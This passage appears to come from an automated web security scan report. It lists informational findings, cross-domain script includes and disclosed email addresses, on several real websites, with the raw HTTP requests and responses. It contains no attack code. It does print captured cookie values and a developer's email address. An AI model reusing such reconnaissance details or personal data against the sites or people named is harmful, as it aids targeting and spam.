Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:05 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 8633
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.118. https://www.twittergadget.com/sign_in_with_twittergadget.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/sign_in_with_twittergadget.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /sign_in_with_twittergadget.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:08 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8633

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.119. https://www.twittergadget.com/tabs.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/tabs.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /tabs.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:08 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5473
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.120. https://www.twittergadget.com/truncit.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/truncit.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /truncit.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:05 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5760
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.121. https://www.twittergadget.com/what_is_oauth.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/what_is_oauth.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /what_is_oauth.htm HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:06 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7248
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.122. http://www.vormetric.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://www.google-analytics.com/urchin.js
http://www.leadforce1.com/bf/bf.js

Request

GET / HTTP/1.1
Host: www.vormetric.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 18167
Content-Type: text/html
Content-Location: http://www.vormetric.com/index.html
Last-Modified: Mon, 19 Sep 2011 19:52:38 GMT
Accept-Ranges: bytes
ETag: W/"2d272af577cc1:542"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 20 Sep 2011 14:10:46 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Data Security, Encr
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
<a href="http://www.leadforce1.com" title="Web analytics" onclick="window.open(this.href);return(false);">
<script language="javascript" src="http://www.leadforce1.com/bf/bf.js" type="text/javascript"></script>
...[SNIP]...


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

13.123. http://www.vormetric.com/resources/useful_links.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/resources/useful_links.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://t2.trackalyzer.com/trackalyze.js
http://www.google-analytics.com/urchin.js
http://www.leadforce1.com/bf/bf.js

Request

GET /resources/useful_links.html HTTP/1.1
Host: www.vormetric.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://enterprise-encryption.vormetric.com/Ten_Key_Steps_Flipbook.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=159756858.913647535.1316545743.1316545743.1316545743.1; __utmc=159756858; __utmz=159756858.1316545743.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); _vt_=MDViZTJmOTE0NTM0Yjc0YTcxMDk5MjMyZmIzYmQyMWI%3D; __utmb=159756858; _lf1.acr_=; _mkto_trk=id:480-LWA-970&token:_mch-vormetric.com-1316545742797-17215

Response

HTTP/1.1 200 OK
Content-Length: 7485
Content-Type: text/html
Last-Modified: Mon, 02 May 2011 17:53:23 GMT
Accept-Ranges: bytes
ETag: "f662f5d4f18cc1:542"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 20 Sep 2011 14:12:00 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <title>
...[SNIP]...
</script>
       <script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...
</div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
<a href="http://www.leadforce1.com" title="Web analytics" onclick="window.open(this.href);return(false);">
<script language="javascript" src="http://www.leadforce1.com/bf/bf.js" type="text/javascript"></script>
...[SNIP]...


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

13.124. http://www.vormetric.com/solutions/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/solutions/index.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://t2.trackalyzer.com/trackalyze.js
http://www.google-analytics.com/urchin.js
http://www.leadforce1.com/bf/bf.js

Request

GET /solutions/index.html HTTP/1.1
Host: www.vormetric.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.vormetric.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=159756858.913647535.1316545743.1316545743.1316545743.1; __utmb=159756858; __utmc=159756858; __utmz=159756858.1316545743.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); _mkto_trk=id:480-LWA-970&token:_mch-vormetric.com-1316545742797-17215; _vt_=MDViZTJmOTE0NTM0Yjc0YTcxMDk5MjMyZmIzYmQyMWI%3D; _lf1.acr_=Solutions

Response

HTTP/1.1 200 OK
Content-Length: 9007
Content-Type: text/html
Last-Modified: Mon, 02 May 2011 17:54:06 GMT
Accept-Ranges: bytes
ETag: "f2d27eeef18cc1:542"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 20 Sep 2011 14:10:58 GMT

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<tit
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...
</noscript>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
<a href="http://www.leadforce1.com" title="Web analytics" onclick="window.open(this.href);return(false);">
<script language="javascript" src="http://www.leadforce1.com/bf/bf.js" type="text/javascript"></script>
...[SNIP]...


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

13.125. http://www.vormetric.com/solutions/sap_data_security.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/solutions/sap_data_security.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://t2.trackalyzer.com/trackalyze.js
http://www.google-analytics.com/urchin.js
http://www.leadforce1.com/bf/bf.js

Request

GET /solutions/sap_data_security.html HTTP/1.1
Host: www.vormetric.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.vormetric.com/solutions/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=159756858.913647535.1316545743.1316545743.1316545743.1; __utmc=159756858; __utmz=159756858.1316545743.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); _vt_=MDViZTJmOTE0NTM0Yjc0YTcxMDk5MjMyZmIzYmQyMWI%3D; __utmb=159756858; _mkto_trk=id:480-LWA-970&token:_mch-vormetric.com-1316545742797-17215; _lf1.acr_=SAP%20Data%20Security

Response

HTTP/1.1 200 OK
Content-Length: 8088
Content-Type: text/html
Last-Modified: Thu, 18 Aug 2011 04:49:27 GMT
Accept-Ranges: bytes
ETag: "48d27735625dcc1:542"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 20 Sep 2011 14:11:27 GMT

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<tit
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...
</noscript>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...
<a href="http://www.leadforce1.com" title="Web analytics" onclick="window.open(this.href);return(false);">
<script language="javascript" src="http://www.leadforce1.com/bf/bf.js" type="text/javascript"></script>
...[SNIP]...


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

13.126. http://www.zdnet.fr/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.fr.doubleclick.net/adj/elu.zdnet.fr;s1=index;kw=;sz=800x600;dcopt=ist;tile=2;ord=1316459733?
http://ad.fr.doubleclick.net/adj/leaderboard.zdnet.fr;s1=index;kw=;sz=728x90;tile=3;ord=1316459733?
http://ad.fr.doubleclick.net/adj/msgplus.zdnet.fr;s1=index;kw=;sz=300x250;tile=4;ord=1316459733?
http://ad.fr.doubleclick.net/adj/msgplusdownload.zdnet.fr;s1=index;kw=;sz=300x250;tile=5;ord=1316459733?
http://ad.fr.doubleclick.net/adj/skin.zdnet.fr;s1=index;kw=;sz=1600x2000;tile=1;ord=1316459733?
http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js
http://dw-eu.com.com/js/dw.js
https://apis.google.com/js/plusone.js

Request

GET / HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:33 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 86453

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<body>
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr;s1=index;kw=;sz=1600x2000;tile=1;ord=1316459733?"></script>
...[SNIP]...
<script type="text/javascript" src="http://ad.fr.doubleclick.net/adj/elu.zdnet.fr;s1=index;kw=;sz=800x600;dcopt=ist;tile=2;ord=1316459733?"></script>
...[SNIP]...
<img src="/i/zdn/m/addv.gif?v=20110908" alt="publicite" width="9" height="67" class="add" />
               <script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/leaderboard.zdnet.fr;s1=index;kw=;sz=728x90;tile=3;ord=1316459733?"></script>
...[SNIP]...
<img width="67" height="9" class="add" alt="publicite" src="http://www.zdnet.fr/i/ad/addh.gif"><script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/msgplus.zdnet.fr;s1=index;kw=;sz=300x250;tile=4;ord=1316459733?"></script>
...[SNIP]...
<img width="67" height="9" class="add" alt="publicite" src="http://www.zdnet.fr/i/ad/addh.gif"><script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/msgplusdownload.zdnet.fr;s1=index;kw=;sz=300x250;tile=5;ord=1316459733?"></script>
...[SNIP]...
</div>
           <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js" ></script>
       <script type="text/javascript" src="https://apis.google.com/js/plusone.js" >{lang: 'fr'}</script>
...[SNIP]...

   <script type="text/javascript" src="http://dw-eu.com.com/js/dw.js"></script>
...[SNIP]...

14. Email addresses disclosed previous next
There are 165 instances of this issue:

http://www.cio.com/js/jquery/jquery.cookie.js
http://www.cnet.com/8799-4_1-0.html
http://www.computerworld.com/resources/scripts/lib/jquery.cookie.js
https://www.createspace.com/en/community/4.0.15/resources/scripts/gen/41a54d59c9f0130b7bdac8862ec506f8.js
https://www.createspace.com/en/community/4.0.15/styles/csp/comm.css
https://www.credit-suisse.com/app/search/js/jquery.busybox.js
https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf
https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf
https://www.credit-suisse.com/investment_banking/fixed_income/en/
https://www.credit-suisse.com/investment_banking/fixed_income/en/index.jsp
https://www.credit-suisse.com/news/en/media_release.jsp
https://www.credit-suisse.com/responsibility/de/initiatives/education_initiative/initiatives_education.jsp
https://www.credit-suisse.com/responsibility/en/
https://www.credit-suisse.com/responsibility/en/accessibility.jsp
https://www.credit-suisse.com/responsibility/en/approach.jsp
https://www.credit-suisse.com/responsibility/en/banking/client_focus.jsp
https://www.credit-suisse.com/responsibility/en/banking/client_foundations.jsp
https://www.credit-suisse.com/responsibility/en/banking/csri/index.jsp
https://www.credit-suisse.com/responsibility/en/banking/due_diligence.jsp
https://www.credit-suisse.com/responsibility/en/banking/environment.jsp
https://www.credit-suisse.com/responsibility/en/banking/equator_principles.jsp
https://www.credit-suisse.com/responsibility/en/banking/global_compact.jsp
https://www.credit-suisse.com/responsibility/en/banking/human_rights.jsp
https://www.credit-suisse.com/responsibility/en/banking/improper_use.jsp
https://www.credit-suisse.com/responsibility/en/banking/international_agreements.jsp
https://www.credit-suisse.com/responsibility/en/banking/microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/new_markets.jsp
https://www.credit-suisse.com/responsibility/en/banking/projects_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/risk_review.jsp
https://www.credit-suisse.com/responsibility/en/banking/sector_policies.jsp
https://www.credit-suisse.com/responsibility/en/banking/sme_switzerland.jsp
https://www.credit-suisse.com/responsibility/en/banking/sustainability_policy.jsp
https://www.credit-suisse.com/responsibility/en/banking/trust.jsp
https://www.credit-suisse.com/responsibility/en/banking/unep.jsp
https://www.credit-suisse.com/responsibility/en/banking/what_is_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/banking/wolfsberg.jsp
https://www.credit-suisse.com/responsibility/en/climate_change.jsp
https://www.credit-suisse.com/responsibility/en/climate_protection.jsp
https://www.credit-suisse.com/responsibility/en/ecology.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_assessing_impact.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_experience_sharing.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_learning_technologies.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_new.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_quality.jsp
https://www.credit-suisse.com/responsibility/en/employer/business_school_succession.jsp
https://www.credit-suisse.com/responsibility/en/employer/development.jsp
https://www.credit-suisse.com/responsibility/en/employer/diversity.jsp
https://www.credit-suisse.com/responsibility/en/employer/gdi_strategy.jsp
https://www.credit-suisse.com/responsibility/en/employer/graduates.jsp
https://www.credit-suisse.com/responsibility/en/employer/health_social_care.jsp
https://www.credit-suisse.com/responsibility/en/employer/index.jsp
https://www.credit-suisse.com/responsibility/en/employer/networks.jsp
https://www.credit-suisse.com/responsibility/en/employer/partners_awards.jsp
https://www.credit-suisse.com/responsibility/en/employer/pkom.jsp
https://www.credit-suisse.com/responsibility/en/employer/workplace.jsp
https://www.credit-suisse.com/responsibility/en/environment.jsp
https://www.credit-suisse.com/responsibility/en/environmental_management.jsp
https://www.credit-suisse.com/responsibility/en/gri_index.jsp
https://www.credit-suisse.com/responsibility/en/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/climate/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/education_initiative/initiatives_education.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/employee_engagement.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/gcp.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/index.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/initiatives_microfinance.jsp
https://www.credit-suisse.com/responsibility/en/initiatives/microfinance_accion.jsp
https://www.credit-suisse.com/responsibility/en/measures_in_regions.jsp
https://www.credit-suisse.com/responsibility/en/objectives.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_apac.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_application.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_emea.jsp
https://www.credit-suisse.com/responsibility/en/philanthropy_global.jsp
https://www.credit-suisse.com/responsibility/en/philantropy_americas.jsp
https://www.credit-suisse.com/responsibility/en/reporting.jsp
https://www.credit-suisse.com/responsibility/en/society/dialogue.jsp
https://www.credit-suisse.com/responsibility/en/society/employer.jsp
https://www.credit-suisse.com/responsibility/en/society/expertise.jsp
https://www.credit-suisse.com/responsibility/en/society/homemarket.jsp
https://www.credit-suisse.com/responsibility/en/society/opinion_leaders.jsp
https://www.credit-suisse.com/responsibility/en/society/public_debate.jsp
https://www.credit-suisse.com/responsibility/en/society/salon.jsp
https://www.credit-suisse.com/responsibility/en/society/sponsoring_switzerland.jsp
https://www.credit-suisse.com/responsibility/en/society/svc_risikokapital.jsp
https://www.credit-suisse.com/responsibility/en/society/switzerland.jsp
https://www.credit-suisse.com/responsibility/en/suppliers_partners.jsp
https://www.credit-suisse.com/responsibility/en/sustainability_rating.jsp
https://www.credit-suisse.com/responsibility/it/accessibility.jsp
https://www.credit-suisse.com/responsibility/it/index.jsp
https://www.credit-suisse.com/us/asset_management/en/awards/index.jsp
https://www.credit-suisse.com/us/equities/en/
https://www.credit-suisse.com/us/equities/en/brazilian_equities.jsp
https://www.credit-suisse.com/us/equities/en/customized_solutions.jsp
https://www.credit-suisse.com/us/equities/en/emerging_market_equities.jsp
https://www.credit-suisse.com/us/equities/en/european_equities.jsp
https://www.credit-suisse.com/us/equities/en/global_equities.jsp
https://www.credit-suisse.com/us/equities/en/global_indices.jsp
https://www.credit-suisse.com/us/equities/en/index.jsp
https://www.credit-suisse.com/us/equities/en/quantitative_equities.jsp
https://www.credit-suisse.com/us/equities/en/swiss_equities.jsp
https://www.credit-suisse.com/us/equities/en/us_equities.jsp
https://www.credit-suisse.com/us/fixed_income/en/
https://www.credit-suisse.com/us/fixed_income/en/index.jsp
https://www.credit-suisse.com/us/hedge_strategies/en/
https://www.credit-suisse.com/us/hedge_strategies/en/index.jsp
https://www.credit-suisse.com/us/multi_asset_class_solutions/en/
https://www.credit-suisse.com/us/multi_asset_class_solutions/en/index.jsp
https://www.credit-suisse.com/us/private_equity/en/
https://www.credit-suisse.com/us/private_equity/en/index.jsp
https://www.credit-suisse.com/us/privatebanking/bank/en/contact.jsp
https://www.credit-suisse.com/us/real_assets/en/
https://www.credit-suisse.com/us/real_assets/en/index.jsp
http://www.csfb.com/client_access/global_soft_dollar.shtml
http://www.csoonline.com/js/jquery/jquery.cookie.js
https://www.cyscape.com/%22/products/bhtg//%22
https://www.cyscape.com/images/common/episodes.gif%22
https://www.cyscape.com/order/order.asp
http://www.demo.com/a/s/MobileCompatibility.js
http://www.demo.com/a/s/jquery.cookies.js
http://www.demo.com/a/s/jquery.innerfade.js
http://www.goclio.com/
http://www.goclio.com/js/facebox/facebox.js
http://www.goclio.com/js/plugins.js
http://www.goclio.com/legal/privacy/
http://www.goclio.com/legal/tos/
http://www.goclio.com/our_customers/
http://www.goclio.com/signup/
http://www.goclio.com/tour/
http://www.google.com/
http://www.google.com/search
http://www.horde.org/
http://www.infoworld.com/sites/infoworld.com/files/js/js_292164a95ba5cbd3172734997fe7f898.js
http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js
http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js
http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js
http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js
http://www.law.com/js/advice_email.js
http://www.lifehacker.com.au/
http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/
http://www.lifehacker.com.au/2011/09/how-to-cope-with-the-qantas-strike-disruption/
https://www.onekingslane.com/contact-us
https://www.onekingslane.com/corporate/careers/tech/
https://www.onekingslane.com/corporate/careers/tech/js/jquery.dimensions.min.js
http://www.ortussolutions.com/
http://www.ortussolutions.com/products
http://www.ortussolutions.com/products/codexwiki
http://www.pcworld.com/script/jqModal.js
http://www.proxyon.com/
http://www.proxyon.com/communication/links
http://www.proxyon.com/contact
http://www.proxyon.com/favicon.ico
http://www.proxyon.com/solutions/fico_solutions
http://www.proxyon.com/solutions/reorganizing_system_structures
http://www.styleshout.com/
http://www.styleshout.com/images/style.css
http://www.twittergadget.com/donate.html
http://www.twittergadget.com/donate.php
http://www.twittergadget.com/gadget_gmail.xml
https://www.twittergadget.com/donate.html
https://www.twittergadget.com/donate.php
http://www.vormetric.com/
http://www.zdnet.fr/js/jquery.cookie.js
http://www.zdnet.fr/js/jquery.hoverIntent.minified.js
http://www.zdnet.fr/js/jquery.pngFix.pack.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

14.1. http://www.cio.com/js/jquery/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cio.com
Path:	/js/jquery/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /js/jquery/jquery.cookie.js HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User
Cookie: mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480470450%3B; idglg_ref_domain=fakereferrerdominator.com; __utma=242558352.1869823627.1316478674.1316478674.1316478674.1; __utmb=242558352.1.10.1316478674; __utmc=242558352; __utmz=242558352.1316478674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; NSC_djp.dpn=44593c703660

Response

HTTP/1.1 200 OK
Age: 548
Date: Mon, 19 Sep 2011 19:31:57 GMT
Cache-Control: max-age=600 ,public
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "218031-1113-4971145cacf00"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 10 Dec 2010 16:59:08 GMT
Accept-Ranges: bytes
Content-Length: 4371
Keep-Alive: timeout=5, max=460
Content-Type: application/x-javascript

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
